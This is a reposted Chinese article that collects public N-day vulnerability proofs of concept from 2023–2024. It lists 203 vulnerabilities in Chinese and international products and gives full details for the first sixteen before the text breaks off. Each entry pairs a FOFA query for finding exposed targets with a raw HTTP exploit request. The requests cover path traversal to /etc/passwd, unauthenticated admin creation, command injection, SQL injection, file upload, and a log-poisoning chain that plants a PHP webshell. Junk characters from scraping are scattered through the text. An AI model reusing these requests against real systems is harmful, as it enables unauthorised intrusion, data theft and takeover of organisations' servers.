互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
) z0 y) [3 n0 Y" n0 Z) m; W道一安全 2024-06-05 07:41 北京
1 R2 ?! ~0 O7 ~" w& H2 Z& {$ q以下文章来源于网络安全新视界 ，作者网络安全新视界

9 j/ |, R. S) K/ ?6 p, @8 t; J发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
+ W" i5 j4 x: ]8 Y; d. D. o% S
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
0 s+ ?& F) Y0 C( d9 i/ V
- ]  |! o! j7 X( b& _$ N. @安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

2 P; @) V  X: ~: a" @! f合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
3 w. N$ K& u+ o) X, \, c
+ i1 u* S! n5 L5 y, b+ i, z+ q! ]2 c3 I
1 n8 j0 N% }2 F) ^1 E% \声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
  D2 k. q5 q5 R! C; ^% i$ m
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
5 `* y1 J" b: ?9 L' n# H
( N. h  e' H9 p" }, a0 |, [1 V
6 r3 s" _: k6 q
目录
4 T. I2 S/ h! j) ]. E
01
  n" {/ a2 W. j( ~  _# {! S) }0 I
1. StarRocks MPP数据库未授权访问
8 H* F6 f5 L% z) L2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
: G0 c% U; q  \: ~' Z( ?) S4. EasyCVR视频管理平台存在任意用户添加
+ ?  N7 h" J; F2 r0 x7 ]5. NUUO NVR 视频存储管理设备远程命令执行
* ^' S2 R/ }) D" D. |. ~* W" B6. 深信服 NGAF 任意文件读取
; u6 i- {  S$ l; b: t4 h; w; W7. 鸿运主动安全监控云平台任意文件下载
5 L( H7 }3 o  x0 o- u0 x0 }% Q8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
& ~3 u' z2 T- ]! R8 `10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
& b. \0 p* ~5 F8 I, b' Q3 j13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
, S0 c) b% _, c, S16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
" ?( X, p3 `; J# P! [20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
) d: a$ u8 ^0 O; }22. 大华ICC智能物联综合管理平台 log4j远程代码执行
5 S" L: ]/ @9 l: ]! W* P23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
7 n6 K. u' M6 e8 c( @25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
9 A) y2 f8 |  s: w) O+ `4 i/ F29. 用友NC down/bill SQL注入
; {; [5 O; U7 k' Q) h  e  C! _30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
6 G  A/ u' N, h/ [1 P) Y, ^34. 用友NC warningDetailInfo接口SQL注入
! D9 b, t/ p6 f! V2 P2 ~& Y& p& w35. 用友NC-Cloud importhttpscer任意文件上传
( e7 z% p6 S, [( d1 A  I. Z36. 用友NC-Cloud soapFormat XXE
. m* o: O& h1 U$ q37. 用友NC-Cloud IUpdateService XXE
3 i$ R1 ]9 W- k, j! R) V2 @# r38. 用友U8 Cloud smartweb2.RPC.d XXE
! U2 Y' |# b, V: Z6 e$ K% q39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
8 b0 v: J" q8 |# L7 }42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
  u( I- e. W+ O2 |45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
9 L, v# M0 P% S47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
9 Y( k7 V6 q3 g* T+ L) w7 n49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
! v% r  z1 G" z4 G: O& b% g51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
# [9 Q) O8 f$ F# a" d55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
! {) X9 F* Z* u: q# g59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
4 q. m6 N" R; o6 m61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
" e3 D$ m. g* ?1 Y62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( R) u" X7 n6 ~8 G2 B! I& `65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
7 j" m3 ~& O4 E66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
* [% q, G3 W/ \4 O67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
, [* y$ y0 u. W: Q$ e* D9 M70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
$ g6 y3 b5 D4 }, y  R( X) M72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
- o' |- O. ^: P1 ^1 ]" N5 L7 }+ R. P75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
$ c) ]* Y9 E, Z  T4 m' s; M1 S3 m76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
5 O3 p( L# Y/ R8 u: A2 K; a3 v78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
% q; x1 H4 B: |5 z: I0 f1 F80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
- i+ V& H: Y& V7 a1 v82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
, ^' K- R: B0 k! u, x- y83. JeecgBoot testConnection 远程命令执行
4 e- Z# f1 ]5 G7 Y6 R1 G84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
; c" H) k7 O9 R! j" i% Q" V85. SysAid On-premise< 23.3.36远程代码执行
+ l) |( f) h- I" v86. 日本tosei自助洗衣机RCE
; v( R( B" S! e' J87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
/ @) l6 Z  I( s' m+ t89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
- h% m0 f0 x( k+ v1 E91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
! @: `2 c1 O( y! ]95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
, B3 b' |9 g3 o! @97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
5 [8 `9 {2 _: n* i9 Z1 }2 J/ X99. Ncast盈可视高清智能录播系统busiFacade RCE
& q/ x' [1 u- e6 u) k% Z100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
/ k& I3 O0 a" E- v0 v$ s, `101. ivanti policy secure-22.6命令注入
4 u  K  M9 B$ G# v# q& b, X" ?5 H& d102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
0 ^3 g( m# `# F/ n( B# `108. D-Tale 3.9.0 SSRF
% Y6 m5 _; r5 K" h$ F0 X1 S109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
9 k8 `( L; Z6 R& X4 q111. WordPress Plugin HTML5 Video Player SQL注入
5 |1 h; \! Y% j) f6 M% c112. WordPress Plugin NotificationX SQL 注入
0 t5 q( R+ H9 }  m+ u. x0 w113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
. v# u) F, _5 i. z9 g+ o2 q116. wordpress js-support-ticket文件上传
9 e+ n: v' `+ ]$ u117. WordPress LayerSlider插件SQL注入
! H' d! }# p  \- S118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
6 h; a2 q$ y, X  s+ r; a  X' j# t7 Q+ ?119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 ?9 R2 Q8 r- a4 e1 p( _, ?* S121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
! X/ D3 `1 R) j125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
8 P& l! {0 L; Q5 Z131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
8 H5 a. E. p# _! D" n! @0 T, ?- [; G133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
) v. [% _8 }1 y136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
) i! `6 B0 K3 [# J* j" A. \141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
; }0 |1 ^( p, E3 j0 V) C; @" }142. CMSV6车辆监控平台系统中存在弱密码
: P" F/ c4 l& H# }4 `, V" W) F1 I143. Netis WF2780 v2.1.40144 远程命令执行
% b( x1 P6 k0 Q/ I" x144. D-Link nas_sharing.cgi 命令注入
) w$ o) m* N5 v4 X5 X3 j145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
; P$ Z6 x: d/ {% X6 u146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
) b1 j8 J0 m3 X. _/ s148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
. }& c. o9 V0 b3 m% x! i152. Progress Kemp LoadMaster 远程命令执行
  i4 z( Q4 b/ T7 r/ g' S5 t5 M6 B153. gradio任意文件读取
) n! x5 Z8 v7 `/ q, [154. 天维尔消防救援作战调度平台 SQL注入
3 N& V& d" n- f155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
4 ]% y3 Q  h, ]3 [1 ?- v! e7 _7 ?158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
' v6 ~+ _0 P2 T* f2 H160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
( j" R1 ?0 V2 {162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
5 j9 D* C$ P  f166. 中成科信票务管理平台SeatMapHandler SQL注入
9 a) a% q7 c2 n% q, r167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
* O* f1 N" P: }% t4 @- C169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
. F% F0 l5 Z: F9 |3 Q5 o172. DT-高清车牌识别摄像机任意文件读取
7 U; |9 r6 D3 j; k2 G173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
$ _2 R' ^) Y1 b( k$ Y0 f" l177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
. S8 Q3 M9 ~0 {5 f179. 建文工程管理系统存在任意文件读取
; g( |" e) D0 F180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 q2 Z- f  q1 l' b182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
' W+ x* R8 A6 O5 `! J183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
7 |+ R8 S9 r. @; p+ `184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
5 g: L; p  _- x% W7 {0 r& F( W185. 瑞友天翼应用虚拟化系统SQL注入
) q% b: Y- `$ b' ]7 x) M186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
( n0 ?8 v/ X9 X5 J4 ~189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
8 z7 t5 k2 c; t3 n: l4 m8 g& ~6 J5 d193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
# N8 s- a) r3 I# k' Y% h194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
6 K3 R$ t4 G, ^0 M3 F) `0 X( h195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
9 A" v4 t7 z$ x% z* @196. 河南省风速科技统一认证平台密码重置
* ?3 \+ |" O% x( G9 i197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
9 z& V' p( n4 b; f1 {# X: }200. SeaCMS海洋影视管理系统dmku SQL注入
, n4 k/ x) [! P& s$ Q4 x201. 方正全媒体新闻采编系统 binary SQL注入
. e1 p. R6 r* u' f% x: g) Q202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
3 S) P7 w) V$ w
! T* _5 ~  _, I. p* e( ^$ `4 X/ d) pPOC列表
: }& J) r' G: Z# e3 D- X
, s1 s& c( G6 E; S* l02

1. StarRocks MPP数据库未授权访问
9 ]) p9 T7 c" j1 O  AFOFA ：title="StarRocks"
7 \! P( A. o' U6 l2 hGET /mem_tracker HTTP/1.1
# U0 z  @, C3 s- F! P9 UHost: URL


3 Z7 T- O1 }5 A3 T6 O& W" W2. Casdoor系统static任意文件读取
6 K2 W6 O( i8 yFOFA ：title="Casdoor"
9 M+ |' ]  G* M0 qGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
% h+ K$ o* L/ P0 j4 `2 \Host: xx.xx.xx.xx:9999
8 h, h; ^& ?$ EUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, n2 y( T+ I, y9 v, V8 {Connection: close
Accept: */*
7 T( Q( D) w# \1 oAccept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
4 m/ W5 p* x* p% j* x" g0 [GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
, I. r( B% y; @/ e& E
4 u4 H- e; ?) p
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
7 s( ^1 i; L( }) MPOST /api/v1/adduser HTTP/1.1
Host: your-ip
3 r% C7 V) i0 L' t- P0 xContent-Type: application/x-www-form-urlencoded; charset=UTF-8
0 C- A- a# }% O' |6 z
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

5 g$ [- M& J  p' k9 C
4 b8 E( [. S# z. N/ I+ O5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
: e9 m$ t7 p, x: B: dHost: xx.xx.xx.xx
. p; N) E* q; s) Y2 l, R& T

6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
5 [, H1 A9 j" |4 ?& b# w* @3 oGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
0 |  X& G0 i2 q! M6 r/ T0 `8 \Host:


4 \( ~& t, j" I7 V3 u; _1 Y5 i8 }7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
/ R6 q5 m/ _% O) q# WGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


9 T1 P& i5 p' j8 w! ?8. 斐讯 Phicomm 路由器RCE
$ k( w) O  X& n2 F3 L6 GFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
6 M5 v7 A- N- a# _POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
/ l0 s6 F1 e1 h% U2 d8 I; ~/ YCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
7 H0 w2 M, e$ @% y* C5 H$ _$ {7 Q9 zUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

* h( b* K$ q; T: e7 ~6 y------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

9 \2 f8 F: r" z8 u$ t' m%s
------WebKitFormBoundaryxbgjoytz
/ ]& O6 i9 {# v1 p5 W* oContent-Disposition: form-data; name="wifiRebootrange"

: y: h! W" p( H& I& [+ B12:00; id;
------WebKitFormBoundaryxbgjoytz
$ k3 i4 D1 `3 d4 o  d9 Z$ DContent-Disposition: form-data; name="wifiRebootendrange"
, I& X; z8 x2 |# c
) `) g6 V# D! o8 X# w& D6 [2 c%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

0 F- l9 _& c# j& |2 z9 K
8 Y. x2 {* k7 v( ?' F" M) ]payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
# I8 y$ Q# M! YFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- N. Q0 @" w$ r" Z4 T9 @- OAccept-Encoding: gzip, deflate
6 \+ Q6 z( B7 Y  u" N6 HAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
+ v5 W$ J5 J+ }; u0 y4 C" S- [' F
) Y& t0 U& ^% H: {------WebKitFormBoundaryxdgaqmqu
1 ]- ~9 R, y5 o5 Z7 TContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
, K$ N  E, E  W4 t& L------WebKitFormBoundaryxdgaqmqu--

; ]( h; c: f, w* d
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
/ }+ m4 t. R) ^+ v( ^) h4 k" Y+ yGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
5 t: y$ Y! b, E2 G' P4 J! v, ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 n0 |* X8 B% }) e+ W3 q8 E- {4 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; X  I9 j. o; _$ f5 p/ [( S6 s8 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
! X/ K/ P/ h, J6 f
/ i% H3 ]+ I1 \
12. Jorani < 1.0.2 远程命令执行
  n! a: L+ V; j$ tFOFA：title="Jorani"
第一步先拿到cookie
! d8 ]& Z: T6 F; Q8 `GET /session/login HTTP/1.1
Host: 192.168.190.30
( `2 b" _, A6 I5 F3 wUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
  n+ v/ ~8 c& l& d2 d2 PConnection: close
( J, a( v4 q, z4 }9 m  VAccept-Encoding: gzip
. ?# O: ?* S4 y& a: `

响应中csrf_cookie_jorani用于后续请求
$ M" D; _' {6 f5 {3 S5 JHTTP/1.1 200 OK
: T! s2 F2 z! L+ G4 bConnection: close
Cache-Control: no-store, no-cache, must-revalidate
  b5 C8 ~# s: s: m: x% E' v) @; h) yContent-Type: text/html; charset=UTF-8
# Y1 {% C$ E$ R7 R3 R: WDate: Tue, 24 Oct 2023 09:34:28 GMT
* L& |" O( r" a( |8 sExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
( G% _: l+ z6 L8 }9 {Pragma: no-cache
5 V2 @. t9 q. M: D+ J- F  w; JServer: Apache/2.4.54 (Debian)
+ @  Y1 _+ m) L1 A) k  v# NSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
5 h, r2 D; t% n7 v3 |- T6 }4 EVary: Accept-Encoding
4 s8 W8 k; j! W0 q$ i2 ?7 k- ~

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
( l9 i3 x9 i& y5 T' x, D! [Host: 192.168.190.30
5 h3 m" z( d8 V' ?% }4 W5 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
  T$ D1 Q8 q3 G* LConnection: close
Content-Length: 252
8 R2 N4 U  Z2 jContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

# U/ x5 r# C: `6 I1 \csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
$ p+ k2 R6 @% c  c) L1 k" ~
; q1 m1 o; I4 X9 c5 }

- ?; P( z9 ]  M0 d3 A向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
& y7 A! F( o, KGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
: X, U! w" @& \' A9 Q5 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- R7 [) r/ O) }Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
& y; J9 y" C# {0 L- {X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


5 H1 L6 ]0 d1 L  `- n13. 红帆iOffice ioFileDown任意文件读取
8 V$ Z; j; L% B( B/ R3 M( OFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
( U- Y9 `5 O: b/ BAccept: */*
Accept-Encoding: gzip
8 O; A8 o0 J5 Q; X& [! y

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
0 f% Y7 t2 d  p4 o- ^2 L/ o泄露内容包括用户名密码
) R" Q$ B. d* Z# d0 w8 r9 P# y& GGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
+ Y7 e  _, i" Z, }" l9 g! RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
% i7 i) P: T  a$ U* LConnection: close
Accept: */*
Accept-Language: en
/ }  f/ P# b2 m- l7 F) gAccept-Encoding: gzip


0 q1 ~9 s( N+ t* s% L15. 华夏ERP getAllList信息泄露
CVE-2024-0490
) P" e) \+ R! P6 MFOFA：body="jshERP-boot"
泄露内容包括用户名密码
5 P9 `) R8 B2 e: W* H4 FGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
1 v9 B9 w- o; p- o2 f+ P: PHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
/ O+ q% A# {. @- xAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
. ^2 g* j  l; p% f7 `Accept-Language: en
4 [# y) n' n( o$ asec-ch-ua-platform: Windows
Accept-Encoding: gzip
3 |& }7 J( _0 t2 h% U" E
6 a8 D2 b% \7 z8 Y$ ~% S* E  H
, R  l: M& g9 B' L8 j' G16.  红帆HFOffice医微云SQL注入
2 r! n) N/ v  P' j/ q1 p& ]FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
